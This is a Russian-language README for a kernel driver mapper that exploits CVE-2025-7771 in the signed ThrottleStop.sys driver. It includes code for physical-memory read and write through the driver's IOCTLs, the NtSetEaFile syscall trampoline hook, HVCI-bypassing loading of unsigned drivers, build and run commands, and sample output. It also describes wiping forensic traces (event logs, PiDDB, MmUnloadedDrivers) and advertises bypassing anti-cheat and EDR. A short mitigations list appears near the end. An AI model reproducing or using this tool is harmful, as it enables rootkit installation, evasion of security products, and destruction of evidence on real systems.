
Повышение привилегий в системе с помощью неподписанного драйвера, используя уязвимость ThrottleStop
CVE-2025-7771 — Произвольное чтение/запись физической памяти через IOCTL драйвера ThrottleStop.sys
Данный проект опубликован только в образовательных и исследовательских целях. Цель — продемонстрировать, как подписанный, доверенный драйвер ядра может быть использован для локального повышения привилегий (LPE) от Администратора до SYSTEM/Ядра, эффективно обходя современные функции безопасности Windows, включая HVCI (Целостность кода, контролируемая гипервизором) и Secure Boot.
Не используйте этот инструмент в злонамеренных целях. Автор не несет ответственности за любое неправомерное использование.
ThrottleStop.sys с IOCTL для отображения физической памятиДрайвер ядра ThrottleStop.sys предоставляет устройство (\\.\ThrottleStop), доступное любому локальному администратору. Он реализует два IOCTL, которые обеспечивают неограниченный доступ к физической памяти:
#define IOCTL_TS_READ_PHYS 0x80006498 // Чтение произвольного физического адреса
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Запись по произвольному физическому адресу
0x80006498)Вход: ULONG64 PhysicalAddress (8 байт)
Выход: Буфер данных (1–8 байт за вызов, определяется OutputBufferLength)
Драйвер вызывает MmMapIoSpace(), чтобы отобразить запрошенный физический адрес в виртуальное пространство ядра, копирует данные в выходной буфер, затем вызывает MmUnmapIoSpace(). Никакой проверки физического адреса не выполняется — можно прочитать любой адрес в физическом адресном пространстве.
0x8000649C)Вход: ULONG64 PhysicalAddress (8 байт) + Данные (1–8 байт)
InputBufferLength = 8 + DataSize
Выход: Нет
Тот же механизм, что и при чтении, но записывает предоставленные пользователем данные по отображенному физическому адресу. Опять же, никакой проверки адреса или диапазона.
Драйвер был разработан, чтобы позволить ThrottleStop (утилите для андервольтинга/троттлинга ЦП) напрямую читать/записывать MSR и аппаратные регистры. IOCTL для физической памяти, вероятно, были добавлены для доступа MMIO к конфигурационному пространству PCI или тепловым датчикам ЦП, но реализация выполняет нулевую проверку границ:
GENERIC_READ | GENERIC_WRITEЭто превращает легитимный драйвер аппаратной утилиты в полноценный примитив чтения/записи на уровне ядра.
Цепочка эксплуатации повышает привилегии от локальной учетной записи Администратора до произвольного выполнения кода ядра, фактически достигая контроля ring-0 на уровне SYSTEM.
Маппер помещает ThrottleStop.sys в %TEMP%, создает запись службы в реестре по пути HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop и загружает его через NtLoadDriver():
// Включение привилегии SeLoadDriverPrivilege для текущего процесса
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Создание записи службы, указывающей на размещенный .sys файл
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Загрузка через NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Открытие дескриптора устройства
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Примечание: Поскольку ThrottleStop.sys легитимно подписан, он загружается даже при включенном HVCI/Secure Boot. Политика CI Windows доверяет сертификату.
Имея дескриптор устройства, эксплойт может читать/записывать любой физический адрес в системе:
// Чтение 8 байт из физического адреса 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Запись 8 байт по физическому адресу
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // адрес
*(ULONGLONG*)(input + 8) = shellcode_qword; // данные
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
Эксплойт оборачивает это во вспомогательные функции, которые обрабатывают фрагментированные чтения/записи (1, 2, 4 или 8 байт за вызов) для передачи произвольной длины.
Чтобы выполнять произвольные функции ядра, эксплойту необходимо найти физический адрес обработчика системного вызова ядра. Он нацеливается на NtSetEaFile (редко отслеживаемый системный вызов):
ntoskrnl.exe в пользовательском режиме через LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), получите RVA NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), шаг по 2MB и сравнение байтов:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // быстрая проверка
{
read_phys(candidate_pa, verify, 32); // полная проверка
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // найдено!
// ... проверка через PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) и убедитесь, что возвращенная база соответствует GetModuleHandle(NULL).Как только физический адрес NtSetEaFile известен, эксплойт устанавливает 12-байтовый трамплин непосредственно через записи в физическую память:
; Исходные байты NtSetEaFile (сохранены для восстановления)
; Заменены на:
mov rax, <target_kernel_address> ; 48 B8 <8-байтовое imm64>
push rax ; 50
ret ; C3
// Установка хука
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <целевой адрес>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Триггер из пользовательского режима
NtSetEaFile(args...); // → переходит к target_function в ядре!
// Восстановление исходных байтов
write_phys(syscall_phys_addr, saved_bytes, 12);
Ключевая идея: Запись в физическую страницу обходит защиты виртуальной памяти HVCI. HVCI предотвращает страницы
W+Xв виртуальной памяти, но записи в физическую память черезMmMapIoSpaceв драйвере идут непосредственно в ОЗУ.
С помощью примитива перехвата системного вызова эксплойт может вызывать любую функцию ядра с произвольными аргументами:
// Выделение исполняемой памяти ядра (совместимо с HVCI)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Копирование образа драйвера в пул ядра через RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Вызов DriverEntry драйвера
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
Это фактически отображает и выполняет неподписанный драйвер в пространстве ядра — полное повышение привилегий.
После загрузки полезной нагрузки эксплойт удаляет все следы:
HVCI (Целостность кода, контролируемая гипервизором) предотвращает выполнение неподписанного кода в пространстве ядра, применяя W^X (Write XOR Execute) для виртуальных страниц ядра через трансляцию адресов второго уровня (SLAT/EPT).
Этот эксплойт обходит HVCI, потому что:
Легитимный драйвер: ThrottleStop.sys правильно подписан и проходит проверку CI, поэтому он загружается нормально, даже когда HVCI активен.
Физический, а не виртуальный: IOCTL используют MmMapIoSpace(), который работает с физическими адресами. Защита HVCI применяется на уровне таблицы виртуальных страниц и через EPT, но MmMapIoSpace создает новое виртуальное отображение для физической страницы с соответствующими разрешениями. Запись на физическую страницу системного вызова изменяет содержимое ОЗУ, на которое уже указывает существующее виртуальное отображение.
Исполняемый пул: Эксплойт выделяет память через ExAllocatePool2 с флагом POOL_FLAG_NON_PAGED_EXECUTE, что является легитимным, одобренным HVCI способом получения исполняемой памяти ядра. Само ядро использует это для JIT-скомпилированного кода и некоторых выделений пулов.
Отсутствие загрузки неподписанного драйвера: Маппер никогда не вызывает NtLoadDriver с неподписанным образом. Вместо этого он вручную записывает полезную нагрузку в уже исполняемое выделение пула ядра и вызывает ее точку входа через перехват системного вызова.
┌─────────────────────────────────────────────┐
│ Пользовательский режим (Админ) │
│ │
│ 1. Загрузить ThrottleStop.sys (подписан, │
│ доверенный) │
│ 2. Открыть устройство \\.\ThrottleStop │
│ 3. Чтение/запись физической памяти через │
│ IOCTL │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Ядро) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ Без проверки, любой физический адрес OK │
└──────────────┬──────────────────────────────┘
│ Запись в физическую память
▼
┌─────────────────────────────────────────────┐
│ Физическая страница NtSetEaFile │
│ │
│ Исходные байты перезаписаны: │
│ mov rax, <полезная нагрузка>; push rax; │
│ ret │
│ │
│ → Любой вызов NtSetEaFile() из │
│ пользовательского режима теперь │
│ выполняет произвольный код ядра │
└──────────────┬──────────────────────────────┘
│ Выполнение кода ядра
▼
┌─────────────────────────────────────────────┐
│ Полный компрометация ядра │
│ │
│ • ExAllocatePool2 (исполняемый пул) │
│ • Отображение неподписанного драйвера в │
│ память ядра │
│ • Вызов DriverEntry → доступ на уровне │
│ SYSTEM │
│ • Удаление всех криминалистических │
│ артефактов │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Откройте imxyviMapper.sln в Visual Studio
# Сборка → x64 Release
# Базовое использование — автоматическое сканирование физической памяти для поиска страницы системных вызовов
mapper.exe payload_driver.sys
# С предварительно вычисленным CR3 ядра (быстрее, пропускает сканирование)
mapper.exe payload_driver.sys 1AD000
[+] Драйвер: 45056 байт
[*] Разбор PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Загрузка уязвимого драйвера...
[+] Драйвер загружен, дескриптор=0x0000000000000094
[+] IOCTL OK
[*] Поиск страницы системных вызовов...
[+] Страница системных вызовов найдена
[*] Исправление импортов...
[*] Выделение исполняемого пула ядра (49152 байт)...
[+] Пул выделен по адресу: FFFFA40B7C8E0000
[*] Запись драйвера в ядро...
[*] Вызов точки входа по адресу 0xFFFFA40B7C8E3040...
[+] Точка входа вернула управление
[*] Очистка MmUnloadedDrivers...
[+] MmUnloadedDrivers успешно очищен
[*] Выгрузка уязвимого драйвера...
[+] Готово
ThrottleStop.sys в Блок-лист уязвимых драйверов MicrosoftMmMapIoSpace, которые направлены на физические адреса, относящиеся к ОЗУ, от драйверов, не входящих в белый списокrdmsr/wrmsr), вместо сырого MmMapIoSpaceMmMapIoSpace известными диапазонами MMIO (области PCI BAR, LAPIC и т.д.)ThrottleStop.sys по хешуЭтот проект выпущен под лицензией MIT для образовательных исследовательских целей. Нижележащий фреймворк physmeme защищен авторским правом © 2020 xerox (лицензия MIT).
🔬 Ответственное раскрытие: Эта уязвимость была обнаружена Demoo1337 и раскрыта вендору. Этот репозиторий служит документацией для сообщества исследователей безопасности.
| Поле | Подробности |
|---|
| CVE | CVE-2025-7771 |
| Драйвер | ThrottleStop.sys (поставляется с ThrottleStop) |
| Поставщик | TechPowerUp / Kevin Glynn |
| Тип | Произвольное чтение/запись физической памяти |
| Воздействие | Локальное повышение привилегий (Администратор → Ядро) |
| CVSS | 8.2 (Высокий) |
| Подпись | Подписано Microsoft через WHQL / Attestation |
| Обход HVCI | ✅ Да — драйвер легитимно подписан, разрешен политикой CI |
| Артефакт | Метод очистки |
|---|
| Кэш PiDDB | Разблокирует PiDDBLock, находит запись в AVL-дереве через RtlLookupElementGenericTableAvl, удаляет ссылку и запись |
| MmUnloadedDrivers | Сканирует циклический буфер на 50 записей, обнуляет совпадающее имя и запись |
| BigPoolTable | Сканирует PoolBigPageTable на предмет VA выделения, обнуляет запись |
| Заголовок пула | Подменяет тег POOL_HEADER на MmSt (обычный системный тег) |
| PE-заголовки | Обнуляет заголовки DOS/NT, каталог импорта, каталог отладки, удаляемые секции в выделении ядра |
| Реестр | Удаляет дерево ключа HKLM\...\Services\ThrottleStop |
| Файл драйвера | Удаляет ThrottleStop.sys из %TEMP% |
| Журналы событий | Очищает соответствующие записи из журналов System и Security |
| Prefetch / BAM | Очищает артефакты ShimCache, BAM (Background Activity Moderator) и Prefetch |
| Категория | Воздействие |
|---|
| Конфиденциальность | 🔴 Полная — чтение любой памяти ядра/процесса |
| Целостность | 🔴 Полная — запись в любые структуры ядра, перехват любой функции |
| Доступность | 🟡 Высокая — неправильные записи вызывают BSOD |
| Обход аутентификации | 🔴 Доступ SYSTEM из Admin |
| Обход античита | 🔴 Обходит античит на уровне ядра (EAC, BattlEye, Vanguard) |
| Обход EDR | 🔴 Работает ниже хуков EDR, может снимать/отключать средства безопасности |
| HVCI | 🔴 Обходится через легитимный подписанный драйвер |
| Secure Boot | 🔴 Обходится (драйвер имеет действительную подпись) |
| Кто | Вклад |
|---|
| Demoo1337 | Первоначальное обнаружение и документирование CVE-2025-7771. Обратное проектирование обработчиков IOCTL ThrottleStop.sys, идентификация уязвимости физической памяти MmMapIoSpace и публикация первоначального эксплойта-концепции. Этот проект не существовал бы без его исследований. |
| xerox / IDontCode | Автор фреймворка physmeme, использованного в качестве основы для маппера ядра, перехвата системных вызовов и логики криминалистической очистки. |
| TheCruZ | Автор kdmapper, чьи методы очистки кэша PiDDB и отображения драйвера повлияли на эту реализацию. |